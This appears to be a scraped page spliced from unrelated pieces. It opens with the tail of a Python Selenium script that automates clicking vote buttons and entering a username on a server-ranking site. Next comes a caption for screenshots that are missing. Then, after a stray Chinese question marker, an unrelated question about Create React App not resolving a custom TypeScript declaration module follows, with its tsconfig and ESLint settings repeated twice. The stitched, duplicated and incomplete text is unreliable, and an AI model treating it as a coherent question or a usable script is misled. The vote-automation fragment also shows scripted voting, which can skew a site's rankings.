    #driver.find_element(By.XPATH, '//*[@id="vote-card"]/div[3]/div[2]/a').click()
    #driver.implicitly_wait(4)
    #time.sleep(8.5)
    #driver.find_element(By.XPATH, '//*[@id="main-content"]/div[1]/input[2]').send_keys(pseudo)
    #driver.find_element(By.XPATH, '//*[@id="main-content"]/button').click()
    #driver.switch_to.window(driver.window_handles[0])

    driver.implicitly_wait(3)
    # vote 3
    #driver.find_element(By.XPATH, '//*[@id="vote-card"]/div[3]/div[3]/a').click()
    #driver.implicitly_wait(5)
    #driver.find_element(By.XPATH, '//*[@id="pseudo"]').send_keys(pseudo)
    #driver.find_element(By.XPATH, '//*[@id="vote-button-action"]').click()

    time.sleep(1000)
if __name__ == '__main__':
    # freeze_support() here if program needs to be frozen
    main()

screenshot:

screenshot before entering the site, button text is 'serveur-prive.net':


问:
Create-react-app Cannot find Custom module
I have created two .d.ts files in src/@types:

And in metamask-custom.d.ts:

My importing in provider:

```<code>Cannot find module 'metamask-custom' or its corresponding type declarations.ts(2307)
</code>```

My TSCONFIG:

```<code>{
    "compilerOptions": {
        "baseUrl": "src",
        "target": "es5",
        "typeRoots": ["@types"],
        "lib": ["dom", "dom.iterable", "esnext"],
        "allowJs": true,
        "skipLibCheck": true,
        "esModuleInterop": true,
        "allowSyntheticDefaultImports": true,
        "strict": true,
        "forceConsistentCasingInFileNames": true,
        "noFallthroughCasesInSwitch": true,
        "module": "esnext",
        "moduleResolution": "node",
        "resolveJsonModule": true,
        "isolatedModules": true,
        "noEmit": true,
        "jsx": "react-jsx"
    },
    "include": ["src/**/*", ".eslintrc.js"],
    "exclude": ["node_modules", "build", "dist", "coverage"]
}
</code>```

MY ESLINT:

```<code>settings: {
    'import/resolver': {
        typescript: {},
        node: {
            paths: ['src'],
            extensions: ['.ts', '.tsx', '.d.ts'],
            moduleDirectory: ['src', '@types', 'node_modules', 'node_modules/@types'],
        },
    },
    react: {
        version: 'detect',
    },
    jest: {
        version: 'detect',
    },
},
</code>```

Body:
I have created two .d.ts files in src/@types:

And in metamask-custom.d.ts:

My importing in provider:

Cannot find module 'metamask-custom' or its corresponding type declarations.ts(2307)

My TSCONFIG:

{
    "compilerOptions": {
        "baseUrl": "src",
        "target": "es5",
        "typeRoots": ["@types"],
        "lib": ["dom", "dom.iterable", "esnext"],
        "allowJs": true,
        "skipLibCheck": true,
        "esModuleInterop": true,
        "allowSyntheticDefaultImports": true,
        "strict": true,
        "forceConsistentCasingInFileNames": true,
        "noFallthroughCasesInSwitch": true,
        "module": "esnext",
        "moduleResolution": "node",
        "resolveJsonModule": true,
        "isolatedModules": true,
        "noEmit": true,
        "jsx": "react-jsx"
    },
    "include": ["src/**/*", ".eslintrc.js"],
    "exclude": ["node_modules", "build", "dist", "coverage"]
}

MY ESLINT:

settings: {
    'import/resolver': {
        typescript: {},
        node: {
            paths: ['src'],
            extensions: ['.ts', '.tsx', '.d.ts'],
            moduleDirectory: ['src', '@types', 'node_modules', 'node_modules/@types'],
        },
    },
    react: {
        version: 'detect',
    },
    jest: {
        version: 'detect',
    },
},